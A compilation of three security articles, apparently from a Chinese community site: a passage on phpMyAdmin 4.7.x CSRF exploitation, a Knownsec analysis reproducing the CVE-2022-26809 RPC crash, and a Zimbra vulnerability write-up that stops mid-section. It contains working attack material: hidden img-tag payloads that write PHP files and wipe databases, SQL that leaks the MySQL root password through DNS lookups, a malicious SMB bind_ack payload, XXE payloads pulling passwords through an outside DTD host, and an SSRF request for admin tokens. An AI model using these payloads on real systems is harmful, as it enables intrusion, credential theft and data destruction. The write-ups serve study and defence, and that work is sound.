回到上一步打开的phpMyAdmin页面，发现已自动退出，而且用原来的密码 toor 已经无法登录。
**2.4 使用密码[www.vulnspy.com](http://www.vulnspy.com) 登录成功，表明利用成功**
## 3 CSRF 漏洞利用 - 写文件
MySQL支持将查询结果写到文件当中，我们可以利用该特性来写入PHP文件。比如将代码`<?php
phpinfo();?>`写到文件`/var/www/html/test.php`中，对应的SQL语句为：
select '<?php phpinfo();?>' into outfile '/var/www/html/test.php';
### 利用演示
**3.1 将上一个演示步骤相同，只需将2.2中的文件代码改成：**
<p>Hello World</p>
<img src="http://7f366ec1afc5832757a402b5355132d0.vsplate.me/sql.php?db=mysql&table=user&sql_query=select '<?php phpinfo();?>' into outfile '/var/www/html/test.php';" style="display:none;" />
**3.2 用浏览器打开含有恶意代码的文件**
**3.3 访问 test.php**
可见文件已经写入成功。
## 4 CSRF 漏洞利用 - 获取数据
MySQL提供了`load_file()`函数来支持读取文件内容的操作。比如读取文件`/etc/passwd`内容，，对应的SQL语句为：
select load_file('/etc/passwd');
但是对于CSRF漏洞来说，该读取操作实在目标用户端执行的，我们依然无法知道文件读取的结果。而`load_file()`在Windows下支持从网络共享文件夹中读取文件，如`\\192.168.1.100\share\vulnspy.txt`。网络共享文件的地址处不仅可以填写IP还可以填写域名，我们可以通过DNS解析来获取查询的数据。
此处需要用到 DNSLOG
之类的工具：[https://github.com/BugScanTeam/DNSLog，](https://github.com/BugScanTeam/DNSLog%EF%BC%8C)
这类工具可以记录域名的 DNS 解析记录
比如通过DNS解析来获取当前 MySQL root 用户密码，对应的SQL语句为：
SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM mysql.user WHERE user='root' LIMIT 1),'.vulnspy.com\\test'));
获取当前数据库名：
SELECT LOAD_FILE(CONCAT('\\\\',(SELECT database()),'.vulnspy.com\\test'));
如果请求成功，查询结果将作为二级域名的一部分出现在我们的 DNS 解析记录当中。
**该环境暂无法演示**
## 5 CSRF 漏洞利用 - 清空所有数据表
如果上面几种利用方式都无法直接造成直接的影响，我们可以利用SQL语句来清空当前MySQL用户可操作的所有数据表。
我们用命令
SELECT CONCAT('DELETE FROM ',TABLE_SCHEMA,'.',TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_SCHEMA NOT LIKE '%_schema' and TABLE_SCHEMA!='mysql' LIMIT 0,1
来获取数据名和表名，并将其拼接成删除语句（如：`DELETE FROM vulnspy_tables.inv`），通过 `execute`
来执行生成的删除语句：
set @del = (SELECT CONCAT('DELETE FROM ',TABLE_SCHEMA,'.',TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_SCHEMA NOT LIKE '%_schema' and TABLE_SCHEMA!='mysql' LIMIT 0,1);
prepare stmt from @del;
execute stmt;
但是 execute 一次只能执行一条SQL语句，因此我们可以利用循环语句来逐一执行：
DROP PROCEDURE IF EXISTS EMPT;
DELIMITER $$
CREATE PROCEDURE EMPT()
BEGIN
DECLARE i INT;
SET i = 0;
WHILE i < 100 DO
SET @del = (SELECT CONCAT('DELETE FROM ',TABLE_SCHEMA,'.',TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_SCHEMA NOT LIKE '%_schema' and TABLE_SCHEMA!='mysql' LIMIT i,1);
PREPARE STMT FROM @del;
EXECUTE STMT;
SET i = i +1;
END WHILE;
END $$
DELIMITER ;
CALL EMPT();
### 利用演示
**5.1 Payload如下**
<p>Hello World</p>
<img src="http://7f366ec1afc5832757a402b5355132d0.vsplate.me/import.php?db=mysql&table=user&sql_query=DROP+PROCEDURE+IF+EXISTS+EMPT%3B%0ADELIMITER+%24%24%0A++++CREATE+PROCEDURE+EMPT%28%29%0A++++BEGIN%0A++++++++DECLARE+i+INT%3B%0A++++++++SET+i+%3D+0%3B%0A++++++++WHILE+i+%3C+100+DO%0A++++++++++++SET+%40del+%3D+%28SELECT+CONCAT%28%27DELETE+FROM+%27%2CTABLE_SCHEMA%2C%27.%27%2CTABLE_NAME%29+FROM+information_schema.TABLES+WHERE+TABLE_SCHEMA+NOT+LIKE+%27%25_schema%27+and+TABLE_SCHEMA%21%3D%27mysql%27+LIMIT+i%2C1%29%3B%0A++++++++++++PREPARE+STMT+FROM+%40del%3B%0A++++++++++++EXECUTE+stmt%3B%0A++++++++++++SET+i+%3D+i+%2B1%3B%0A++++++++END+WHILE%3B%0A++++END+%24%24%0ADELIMITER+%3B%0A%0ACALL+EMPT%28%29%3B%0A" style="display:none;" />
**5.2 用浏览器打开含有恶意代码的文件**
**5.3 回到 phpMyAdmin 中查看数据**
可以发现数据库`vulnspy_tables`和数据库`vulnspy_test`中的数据已经被清空。
## 6 总结
这个 phpMyAdmin 的 CSRF 漏洞利用有点类似 SQL
盲注的利用，但是对于漏洞触发的时间不可控（即不知道管理员何时会访问含有恶意代码的页面），因此需要更加通用的利用方式。通过该实验，不仅了解该漏洞的内容，还可以更加熟悉CSRF漏洞的利用。
**本文转载自：phpMyAdmin 4.7.x CSRF 漏洞利用
-<https://blog.vulnspy.com/2018/06/10/phpMyAdmin-4-7-x-XSRF-CSRF-vulnerability-exploit/>** | 社区文章 |
**Author: HuanGMz@Knownsec 404 Team**
**Chinese version:<https://paper.seebug.org/1906/>**
## 1.Vulnerability introduction
It has been more than a month since the high-risk vulnerability CVE-2022-26809
was repaired in April 2022. During this period, there was no other news except
that @L1nk post an [analysis](http://showlinkroom.me/2022/04/30/Windows-CVE-2022-26809/) about trigger conditions of GetCoalescedBuffer()
vulnerability function. I have analyzed the trigger logic of the
ProcessReceivedPDU() vulnerability function, but I can't trigger it on the
default system, and I haven't made any progress.
Until May 18, there was an [article](https://corelight.com/blog/another-day-another-dce-rpc-rce) about CVE-2022-26809 vulnerability detection published on
Corelight, and the article also gave the relevant Github
[repository](https://github.com/corelight/cve-2022-26809), with the captured
vulnerability trigger packet attached.
The article mentions that CVE-2022-26809 is in the
OSF_CASSOCIATION::ProcessBindAckOrNak() function, which is a function that the
client parses the bind_ack response to. L1nk and I both ignored this function
at first, because we feel that the client-side vulnerability does not match
the description of the "worm vulnerability", it is unlikely to be
CVE-2022-26809. But actually when we call the EfsRpcDecryptFileSrv() efs rpc
function of the target host, the function will initiate a bind request to the
srvsvc endpoint of our malicious smb server according to the unc path we
passed in. In this way, the server becomes the client and will call
ProcessBindAckOrNak() to process the bind_ack packet returned by our malicious
smb server.
EfsRpcDecryptFileSrv() is an rpc function in the lsass.exe process, located on
the c681d488-d850-11d0-8c52-00c04fd90f7e interface, which you can access via
the \pipe\lsass endpoint.
The rpc function related to efs has produced several well-known
vulnerabilities such as "PetitPotam Domain Privilege Escalation" and
“CVE-2021-43893 Domain Control File Write” in 2021. Although CVE-2022-26809 is
not similar to these vulnerabilities in principle, but the triggering method
is similar, we can completely reuse PetitPotam's script, eliminating the
trouble of writing rpc client by ourselves.
It is recommended to read this article
<https://www.rapid7.com/blog/post/2022/02/14/dropping-files-on-a-domain-controller-using-cve-2021-43893/> to learn about PetitPotam Vulnerability
development history.
## 2.Vulnerability recurrence
### 2.1 Call the EfsRpcDecryptFileSrv() function
Use ly4k's PetitPotam script to call, github repository link:
<https://github.com/ly4k/PetitPotam>
It should be noted that due to the CVE-2021-43893 patch in December 2021, we
need to add two lines of code to the script:
Add two lines of code to the PetitPotam.Connect function (just add it before
dce.connect() ):
dce.set_auth_type(RPC_C_AUTHN_WINNT)
dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
Call the PetitPotam script:
python3 petitpotam.py -pipe lsarpc -method DecryptFileSrv -debug 'username:[email protected]' '\\192.168.33.154\srvsvc\test.txt'
192.168.33.159 is the address of the target host and 192.168.33.154 is the
address of our malicious smb server. Sadly I have to use an account and
password, not sure how the original poc solves the smb authentication problem.
If you use Procmon to monitor the lsass.exe process at this point, you will
see that it tries to open the \\\192.168.33.154\pipe\srvsvc endpoint.
### 2.2 Build a malicious smb server
Use the SimpleSMBServer example in impacket's smbserver.py directly:
from impacket.smbserver import SimpleSMBServer
myserver = SimpleSMBServer(listenPort=445)
myserver.start()
It is recommended to build in linux.
We need to control the response to the rpc bind request, so modify the
rpcrt.py library file directly.
Find the DCERPCServer.bind() function in the rpcrt.py file, comment it
directly, and then change it to the following, which is equivalent to
returning a fixed bind_ack packet each time.
d = b'\x05\x00\x0c\x03\x00\x00\x00\x00\x00\x1a\x00\x00\x00\x00\x00\x02\x10\xb8\x10\xb8\x00\x00\x12 \x34\x00\x00'
print(d)
self._clientSock.send(d)
This string of data is also the key payload that triggers the vulnerability.
### 2.3 Catch crashes
Open port 445 of the target host's firewall.
Turn off the smb2 protocol:
Set-SmbServerConfiguration -EnableSMB2Protocol $false
Enable sbm1 protocol:
Get-WindowsOptionalFeature -Online -FeatureName SMB1Protocol
This step is not necessary, mainly to facilitate us to capture and observe rpc
data with wireshark.
Use gflags.exe to open the page heap for the lsass.exe process, and then
restart the system.
Choose a way to debug lsass.exe, I use kernel debugging to prevent stuck.
Then start the malicious smb server and use the script to call the
EfsRpcDecryptFileSrv() function.
Then you can catch the exception.
If it is normal, you will see in wireshark that after calling
EfsRpcDecryptFileSrv(), there is a series of bind and bind_ack packets: 
## 3\. Vulnerability Analysis
The returned bind_ack data packet has two characteristics, frag_length is
0x1a, ScnDry_Addr_len is 0, and the data packet is truncated in this field.
The variable BufferLength is the length of the data packet is 0x1a, the first
time BufferLength - 0x1A, the result is 0, and then because sec_addr_length is
0, it will enter the else branch, 0 - 0x1c integer underflow.
Then take sec_addr_length address + 2 + 2 , since the data packet ends at
sec_addr_length, this address has actually crossed the boundary.
Another point to note: the payload we used to trigger the vulnerability uses
big-endian byte order, but in fact, little-endian byte order can also trigger
the vulnerability normally, so it should not matter whether the Data
Representation field is 0 or 0x10.
Finally, the smb authentication issue when calling EfsRpcDecryptFileSrv() has
not been resolved. Those who are good at exploiting vulnerabilities can give
it a try.
## References：
<http://showlinkroom.me/2022/04/30/Windows-CVE-2022-26809/>
<https://corelight.com/blog/another-day-another-dce-rpc-rce>
<https://github.com/corelight/cve-2022-26809>
<https://www.rapid7.com/blog/post/2022/02/14/dropping-files-on-a-domain-controller-using-cve-2021-43893/>
<https://github.com/ly4k/PetitPotam>
* * * | 社区文章 |
# Zimbra 漏洞分析之路
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
网上关于Zimbra的漏洞调试文章比较粗浅，在十一国庆期间学习了Zimbra的相关漏洞原理和搭建技术。本文从环境搭建，架构梳理，漏洞调试等方面展开分析，带领的大家能够快速熟悉开源软件Zimbra的漏洞挖掘之路。
# 0x01 Zimbra介绍
Zimbra是著名的开源系统，提供了一套开源协同办公套件包括WebMail，日历，通信录，Web文档管理和创作。一体化地提供了邮件收发、文件共享、协同办公、即时聊天等一系列解决方案，是开源软件中的精品。作为邮件服务器系统，Zimbra更是凭借卓越的稳定性和功能当之无愧地成为开源邮件服务器系统的首选，适合各类型/人数的用户群，尤其适合团队使用。其最大的特色在于其采用Ajax技术模仿CS桌面应用软件的风格开发的客户端兼容Firefox,Safari和IE浏览器。
## 0x02 环境搭建
### 0x1 软件及源码下载
部署环境下载地址：<https://www.zimbra.com/downloads/zimbra-collaboration-open-source/archives/>
源码下载地址：<https://github.com/Zimbra/zm-mailbox/tags>
### 0x2 基于ubuntu的Zimbra环境搭建
**0\. 启动docker ubuntu容器**
docker run -p 25:25 -p 80:80 -p 465:465 -p 587:587 -p 110:110 -p 143:143 -p 993:993 -p 995:995 -p 443:443 -p 8080:8080 -p 8443:8443 -p 7071:7071 -p 9071:9071 -h zimbra-docker.zimbra.io --dns 127.0.0.1 --dns 8.8.8.8 -i -t -e PASSWORD=Zimbra2017 ubuntu:14.04
**1\. 安装依赖包**
为zimbra提供运行环境，需要安装以下应用
apt update
apt install libgmp3c2 libpcre3 libgmp3-dev sysstat libexpat1 wget netcat-openbsd pax sqlite3
**2\. 执行安装脚本**
安装脚本主要负责下载部署环境，设置环境变量以及部署zimbra以及开启服务。
#!/bin/sh
## Preparing all the variables like IP, Hostname, etc, all of them from the container
sleep 5
HOSTNAME=$(hostname -a)
DOMAIN=$(hostname -d)
CONTAINERIP=$(ip addr | grep 'state UP' -A2 | tail -n1 | awk '{print $2}' | cut -f1 -d'/')
RANDOMHAM=$(date +%s|sha256sum|base64|head -c 10)
RANDOMSPAM=$(date +%s|sha256sum|base64|head -c 10)
RANDOMVIRUS=$(date +%s|sha256sum|base64|head -c 10)
## Installing the DNS Server ##
echo "Configuring DNS Server"
mv /etc/dnsmasq.conf /etc/dnsmasq.conf.old
cat <<EOF >>/etc/dnsmasq.conf
server=8.8.8.8
listen-address=127.0.0.1
domain=$DOMAIN
mx-host=$DOMAIN,$HOSTNAME.$DOMAIN,0
address=/$HOSTNAME.$DOMAIN/$CONTAINERIP
user=root
EOF
sudo service dnsmasq restart
##Creating the Zimbra Collaboration Config File ##
touch /opt/zimbra-install/installZimbraScript
cat <<EOF >/opt/zimbra-install/installZimbraScript
AVDOMAIN="$DOMAIN"
AVUSER="admin@$DOMAIN"
CREATEADMIN="admin@$DOMAIN"
CREATEADMINPASS="$PASSWORD"
CREATEDOMAIN="$DOMAIN"
DOCREATEADMIN="yes"
DOCREATEDOMAIN="yes"
DOTRAINSA="yes"
EXPANDMENU="no"
HOSTNAME="$HOSTNAME.$DOMAIN"
HTTPPORT="8080"
HTTPPROXY="TRUE"
HTTPPROXYPORT="80"
HTTPSPORT="8443"
HTTPSPROXYPORT="443"
IMAPPORT="7143"
IMAPPROXYPORT="143"
IMAPSSLPORT="7993"
IMAPSSLPROXYPORT="993"
INSTALL_WEBAPPS="service zimlet zimbra zimbraAdmin"
JAVAHOME="/opt/zimbra/common/lib/jvm/java"
LDAPAMAVISPASS="$PASSWORD"
LDAPPOSTPASS="$PASSWORD"
LDAPROOTPASS="$PASSWORD"
LDAPADMINPASS="$PASSWORD"
LDAPREPPASS="$PASSWORD"
LDAPBESSEARCHSET="set"
LDAPDEFAULTSLOADED="1"
LDAPHOST="$HOSTNAME.$DOMAIN"
LDAPPORT="389"
LDAPREPLICATIONTYPE="master"
LDAPSERVERID="2"
MAILBOXDMEMORY="512"
MAILPROXY="TRUE"
MODE="https"
MYSQLMEMORYPERCENT="30"
POPPORT="7110"
POPPROXYPORT="110"
POPSSLPORT="7995"
POPSSLPROXYPORT="995"
PROXYMODE="https"
REMOVE="no"
RUNARCHIVING="no"
RUNAV="yes"
RUNCBPOLICYD="no"
RUNDKIM="yes"
RUNSA="yes"
RUNVMHA="no"
SERVICEWEBAPP="yes" SMTPDEST="admin@$DOMAIN"
SMTPHOST="$HOSTNAME.$DOMAIN"
SMTPNOTIFY="yes"
SMTPSOURCE="admin@$DOMAIN"
SNMPNOTIFY="yes"
SNMPTRAPHOST="$HOSTNAME.$DOMAIN"
SPELLURL="http://$HOSTNAME.$DOMAIN:7780/aspell.php"
STARTSERVERS="yes"
SYSTEMMEMORY="3.8"
TRAINSAHAM="ham.$RANDOMHAM@$DOMAIN"
TRAINSASPAM="spam.$RANDOMSPAM@$DOMAIN"
UIWEBAPPS="yes"
UPGRADE="yes"
USEKBSHORTCUTS="TRUE"
USESPELL="yes"
VERSIONUPDATECHECKS="TRUE"
VIRUSQUARANTINE="virus-quarantine.$RANDOMVIRUS@$DOMAIN"
ZIMBRA_REQ_SECURITY="yes"
ldap_bes_searcher_password="$PASSWORD"
ldap_dit_base_dn_config="cn=zimbra"
ldap_nginx_password="$PASSWORD"
ldap_url="ldap://$HOSTNAME.$DOMAIN:389"
mailboxd_directory="/opt/zimbra/mailboxd"
mailboxd_keystore="/opt/zimbra/mailboxd/etc/keystore"
mailboxd_keystore_password="$PASSWORD"
mailboxd_server="jetty"
mailboxd_truststore="/opt/zimbra/common/lib/jvm/java/lib/security/cacerts"
mailboxd_truststore_password="changeit"
postfix_mail_owner="postfix"
postfix_setgid_group="postdrop"
ssl_default_digest="sha256"
zimbraDNSMasterIP=""
zimbraDNSTCPUpstream="no"
zimbraDNSUseTCP="yes"
zimbraDNSUseUDP="yes"
zimbraDefaultDomainName="$DOMAIN"
zimbraFeatureBriefcasesEnabled="Enabled"
zimbraFeatureTasksEnabled="Enabled"
zimbraIPMode="ipv4"
zimbraMailProxy="FALSE"
zimbraMtaMyNetworks="127.0.0.0/8 $CONTAINERIP/32 [::1]/128 [fe80::]/64"
zimbraPrefTimeZoneId="America/Los_Angeles"
zimbraReverseProxyLookupTarget="TRUE"
zimbraVersionCheckInterval="1d"
zimbraVersionCheckNotificationEmail="admin@$DOMAIN"
zimbraVersionCheckNotificationEmailFrom="admin@$DOMAIN"
zimbraVersionCheckSendNotifications="TRUE"
zimbraWebProxy="FALSE"
zimbra_ldap_userdn="uid=zimbra,cn=admins,cn=zimbra"
zimbra_require_interprocess_security="1"
zimbra_server_hostname="$HOSTNAME.$DOMAIN"
INSTALL_PACKAGES="zimbra-core zimbra-ldap zimbra-logger zimbra-mta zimbra-snmp zimbra-store zimbra-apache zimbra-spell zimbra-memcached zimbra-proxy"
EOF
if [ ! -f /opt/zimbra-install/zimbra-zcs-8.6.0.tar.gz ];
then
##Install the Zimbra Collaboration ##
echo "Downloading Zimbra Collaboration 8.6.0"
wget -O /opt/zimbra-install/zimbra-zcs-8.6.0.tar.gz https://files.zimbra.com/downloads/8.6.0_GA/zcs-8.6.0_GA_1153.UBUNTU14_64.20141215151116.tgz
echo "Extracting files from the archive"
tar xzvf /opt/zimbra-install/zimbra-zcs-8.6.0.tar.gz -C /opt/zimbra-install/
echo "Update package cache"
apt update
echo "Installing Zimbra Collaboration just the Software"
cd /opt/zimbra-install/zcs-8.6.0_GA_1153.UBUNTU14_64.20141215151116 && ./install.sh -s < /opt/zimbra-install/installZimbra-keystrokes
echo "Installing Zimbra Collaboration injecting the configuration"
/opt/zimbra/libexec/zmsetup.pl -c /opt/zimbra-install/installZimbraScript
fi
su - zimbra -c 'zmcontrol restart'
echo "You can access now to your Zimbra Collaboration Server"
这里贴上几个常用的安装教程
* <https://qing.su/article/zimbra.html>
* <https://www.howtoing.com/ubuntu-14-04-zimbra-server/>
最后要注意在install.sh脚本执行的最后要设置admin的密码，`*******`处为必须填写的内容
### 0x3 基于Java的远程调试技术
**1\. 找到之前的启动进程**
通过`ps -ef | grep java`找到相对应的java进程
**2\. 杀掉启动进程**
利用kill指令将之前的进程杀掉
这里有个小技巧，首先kill 掉java web的守护进程，如果不这么做的话，java
web会很快启动，所以我们需要先kill掉守护进程，之后kill掉java web。
**3\. 开启调试**
再之后我们像以前一样给java web启动程序添加调试参数`-Xdebug
-Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=5005`
因为是在docker中搭建的环境，需要做层端口映射，将监听端口开启在宿主机上。打开idea 的remote配置设置IP地址和端口
出现Connected to target VM 字样即表示已经连接服务并开启Debug模式。
**4\. 添加lib依赖库**
/opt/zimbra/jetty-distribution-9.1.5.v20140505/webapps/service/WEB-INF/lib/
/opt/zimbra/jetty-distribution-9.1.5.v20140505/webapps/zimbraAdmin/WEB-INF/lib/
/opt/zimbra/jetty-distribution-9.1.5.v20140505/webapps/zimbra/WEB-INF/lib/
/opt/zimbra/jetty-distribution-9.1.5.v20140505/common/lib/
/opt/zimbra/jetty-distribution-9.1.5.v20140505/lib/
/opt/zimbra/lib/jars/
将这些文件文件夹中的jar包下载到调试机器上，依次添加到lib依赖中
## 0x03 框架梳理
在进入docker容器时，注意采用以下命令，通过配置privileged权限，才能通过lsof以及netstat指令查看端口所对应的进程名称。
docker exec --privileged -it bef76c5ba54a bash
### 0x1 服务架构
Zimbra web服务主要有Nginx做流量转发，Java负责核心Web业务，通过配置Nginx的配置文件，达到对各个路由的服务划分。
### 0x2 nginx 服务配置
zimbra的web服务由nginx进行流量转发，我们可以看下nginx 服务的配置文件
# NGINX POP/IMAP proxy configuration file for use with Zimbra
#
working_directory /opt/zimbra;
include /opt/zimbra/conf/nginx/includes/nginx.conf.main;
include /opt/zimbra/conf/nginx/includes/nginx.conf.memcache;
include /opt/zimbra/conf/nginx/includes/nginx.conf.zmlookup;
include /opt/zimbra/conf/nginx/includes/nginx.conf.mail;
include /opt/zimbra/conf/nginx/includes/nginx.conf.web;
# Don't edit the below comment
#__SUCCESS__
这里我们只关注 /opt/zimbra/conf/nginx/includes/nginx.conf.web
可以看出上图配置的是后台服务端口与别名，在nginx.conf.web的最后include两个文件
include /opt/zimbra/conf/nginx/includes/nginx.conf.web.https;
include /opt/zimbra/conf/nginx/includes/nginx.conf.web.https.default;
关于流量的转发，这里从nginx.conf.web.https.default配置文件中选出一个转发片段，分析如下
location ~* /(service|principals|dav|\.well-known|home|octopus|shf|user|certauth|spnegoauth|(zimbra/home)|(zimbra/user))/
{
set $mailhostport 8080; # replace this with *the* mailhost port
set $relhost $host;
if ($mailhostport != 80) { # standard HTTP port, do not replace
set $relhost $host:$mailhostport;
}
# End stray redirect hack
# Proxy to Zimbra Mailbox Upstream
proxy_pass https://zimbra_ssl;
# For audit
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
# For Virtual Hosting
set $virtual_host $http_host;
if ($virtual_host = '') {
set $virtual_host $server_addr:$server_port;
}
proxy_set_header Host $virtual_host;
proxy_redirect http://$http_host/ https://$http_host/;
proxy_redirect http://$relhost/ https://$http_host/;
}
location 后面的正则表示，一旦匹配成功那么此次请求的服务配置走当前location中的配置。proxy_pass
将流量转发到后面的别名服务上，上面的别名服务为zimbra_ssl，找到
/opt/zimbra/conf/nginx/includes/nginx.conf.web 中对应的ip和port
upstream zimbra_ssl
{
server zimbra-docker.zimbra.io:8443 fail_timeout=60s version=8.6.0_GA_1153;
zmauth;
}
### 0x3 Java web 服务
由端口进程对应关系来看，zimbra的java启动程序开启了多个java端口，如下图所示：
这些端口对应着不同的servlet并且在服务重启后会将重新缓存每个端口路由与servlet的映射关系。
servlet 缓存代码，为了加速web请求响应，将所有的额servlet放到cache中进行缓存。所以如果是第一次请求该路由，都会进入下面代码分支
最后所有的servlet分发都在ServletHolder.class中进行，通过servlet.service函数分发到对应的servlet
因为由不同的servlet进行处理，所以会出现一些断点断不下来的情况，这时要分清楚到底是走的那个servlet，我们只需要将断点设置在ServletHolder.class
的servlet.service(request, response)
## 0x04 漏洞调试
### 0x1 最新漏洞
CVE-2019-9670，CVE-2020-12846和CVE-2019-9621是近几年来爆出的最新漏洞，通过学习这两个漏洞的挖掘方法和漏洞成因，帮助我们更好的理解zimbra邮件系统的漏洞利用。
### 0x2 CVE-2019-9670 漏洞分析
**1\. 适用范围**
> 漏洞适用条件：8.7.4之前的版本，可以导致XML实体解析
**2\. 路由分析**
在Autodiscover路由中，可以在/opt/zimbra/mailboxd/etc/jetty.xml中找到对应的路由注册，下图为其中的一条配置
由图中的配置可以看出符合该路由的url都会转发到`/service/autodiscover`路由上
**3\. 漏洞调试**
利用burpsuit发送如下数据包
POST /Autodiscover/Autodiscover.xml HTTP/1.1
Host: 192.168.0.127
Connection: keep-alive
Content-Length: 347
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36
X-Zimbra-Csrf-Token: 0_c76c85d9f2471cf79b6cda4eab2363d8aa41e0a3
Accept: */*
Origin: https://192.168.0.127
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://192.168.0.127/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: ZM_TEST=true;ZA_SKIN=serenity;
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a">
<Request>
<EMailAddress>aaaaa</EMailAddress>
<AcceptableResponseSchema>&xxe;</AcceptableResponseSchema>
</Request>
</Autodiscover>
在关键代码上设置断点，分析如下：
通过`doc.getElementsByTagName("Request")` 获取到xml结构中Request以下的所有节点
接下来利用for循环便利解析到的节点，利用getTagValue获取相对应标签中的值，代码如下图所示。
之后通过sendError函数将responseSchema字符串值带到response回显中
最后的效果如下：
**4\. payload构造**
接下来构造payload读zimbra的配文件localconfig.xml，由于localconfig.xml为XML文件，需要加上CDATA标签才能作为文本读取，由于XXE不能内部实体进行拼接，所以此处需要使用外部dtd：
这里将下面的xml放置到1.1.1.1服务器上，
<!ENTITY % file SYSTEM "file:../conf/localconfig.xml">
<!ENTITY % start "<![CDATA[">
<!ENTITY % end "]]>">
<!ENTITY % all "<!ENTITY fileContents '%start;%file;%end;'>">
/opt/zimbra/conf/localconfig.xml
中存储了zimbra的关键配置信息，读取配置文件中的zimbra_user和zimbra_ldap_password
<!DOCTYPE Autodiscover [
<!ENTITY % dtd SYSTEM "http://1.1.1.1/zimbra.dtd">
%dtd;
%all;
]>
<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a">
<Request>
<EMailAddress>aaaaa</EMailAddress>
<AcceptableResponseSchema>&fileContents;</AcceptableResponseSchema>
</Request>
</Autodiscover>
### 0x3 CVE-2019-9670 漏洞后续利用分析
利用xxe获取/opt/zimbra/conf/localconfig.xml 中的用户名和密码， 通过soap接口获取低权限token。
**1\. Zimbra soap协议**
Zimbra soap协议的描述文档
Admin SOAP API –
<https://zimbra.example.com/service/wsdl/ZimbraAdminService.wsdl>
User SOAP API –
<https://zimbra.example.com/service/wsdl/ZimbraUserService.wsdl>
Full SOAP API – <https://zimbra.example.com/service/wsdl/ZimbraService.wsdl>
对应的jar包为zimbrastore.jar
在jar包中com.zimbra.cs.service.account中有着许许多多的handler调用
wsdl 中的element元素方法去掉Requests后缀就是zimbrastore.jar中的处理类。
**2\. 调试soap协议**
为了调试soap协议我们在HttpServlet.class中下断点
最后由SoapServlet.class 进行处理，在其中通过请求分发的方式由SoapEngine解析分发出去
最后由AccountDocumentHandler 子类Auth的handle方法调用
**3\. 获取低权限token**
发送下面soap包即可获得低权限token
POST /service/soap HTTP/1.1
Host: 192.168.0.134
Connection: close
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.22.0
Content-Length: 453
<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope">
<soap:Header>
<context xmlns="urn:zimbra">
<userAgent name="ZimbraWebClient - SAF3 (Win)" version="5.0.15_GA_2851.RHEL5_64"/>
</context>
</soap:Header>
<soap:Body>
<AuthRequest xmlns="urn:zimbraAccount">
<account by="adminName">zimbra</account>
<password>ZN5CYxE10</password>
</AuthRequest>
</soap:Body>
</soap:Envelope>
### 0x4 CVE-2019-9621 漏洞分析
**1\. 适用范围**
> 8.6 patch 13, 8.7.x before 8.7.11 patch 10, and 8.8.x before 8.8.10 patch 7
> or 8.8.x before 8.8.11 patch 3 通过 ProxyServlet 组件可以实现SSRF
**2\. 关键代码分析**
可以利用该漏洞通过SSRF访问admin接口获取高权限token，由ProxyServlet进行路由处理，关键代码如下：
zimbrastore.jar!/com/zimbra/cs/zimlet/ProxyServlet.class
在doProxy函数中首先获取了cookie中的ZM_ADMIN_AUTH_TOKEN值并赋值给authToken同时这里检验了authToken的权限（如果没有任何权限，则赋值为空），当authToken不为null时就会进入代理转发，如下图所示：
最后利用传递过去的target参数创建URL对象，获取/service/proxy的请求类型以及请求body，新建PostMethod对象并赋值给method参数，通过执行HttpClientUtil.executeMethod方法将method参数传递过去并执行。
**3\. 获取高权限token分析**
此数据包中的Cookie由/service/soap提供，发送同/service/soap内容，但是AuthRequest的xmlns要改为：urn:zimbraAdmin，否则获取的还是普通权限的Token
POST /service/proxy?target=https://127.0.0.1:7071/service/admin/soap HTTP/1.1
Connection: close
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.22.0
Cookie: ZM_ADMIN_AUTH_TOKEN=0_57d26651159b7e02e5c507e2f5e15e8512601728_69643d33363a65306661666438392d313336302d313164392d383636312d3030306139356439386566323b6578703d31333a313630323235353237303330393b747970653d363a7a696d6272613b7469643d393a3336393535383031383b;
Host: foo:7071
Content-Type: application/xml
Content-Length: 451
<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope">
<soap:Header>
<context xmlns="urn:zimbra">
<userAgent name="ZimbraWebClient - SAF3 (Win)" version="5.0.15_GA_2851.RHEL5_64"/>
</context>
</soap:Header>
<soap:Body>
<AuthRequest xmlns="urn:zimbraAdmin">
<account by="adminName">zimbra</account>
<password>ZN5CYxE10</password>
</AuthRequest>
</soap:Body>
</soap:Envelope>
通过ssrf
访问`https://127.0.0.1:7071/service/admin/soap`之后，来到了之前分析的soap协议处理代码部分。通过SoapEngine转发到相关处理代码
还记得之前的位于account目录下的auth.class吗，这次的auth类位于admin认证下，由这个类的handle负责处理。
获取过soap协议的password之后，带入到ldap进行authAccount认证，之后将认证通过的cookie通过getAuthToken函数进行获取，如下图代码所示：
最后获取高权限admin 的Token
### 0x5 低版本文件上传漏洞
**1\. 适用范围**
> ZimbraCollaboration Server 8.8.11 之前的版本
**2\. servlet 分析**
/service/extension/clientUploader/upload 对应 ExtensionDispatcherServlet
在获取请求方法之后，根据不同方法的处理逻辑用if判断分别路由，文件上传请求最后触发handler.doPost(req, resp)函数
对应的jar包在/opt/zimbra/lib/ext/com_zimbra_clientuploader/com_zimbra_clientuploader.jar，因此分析时需要单独将jar包添加在idea的依赖当中
**3\. 处理逻辑分析**
进入到ClientUploadHandler.class进行处理，doPost方法接收到请求后，处理上传的文件内容
之后调用man.uploadClient函数进行post data处理，提取文件名并保存至文件。
进行目录拼接，最后文件存储在/opt/zimbra/jetty/webapps/zimbra/downloads
在download目录可以看到文件上传成功
### 0x5 CVE-2020-12846 漏洞分析
**1\. 适用范围**
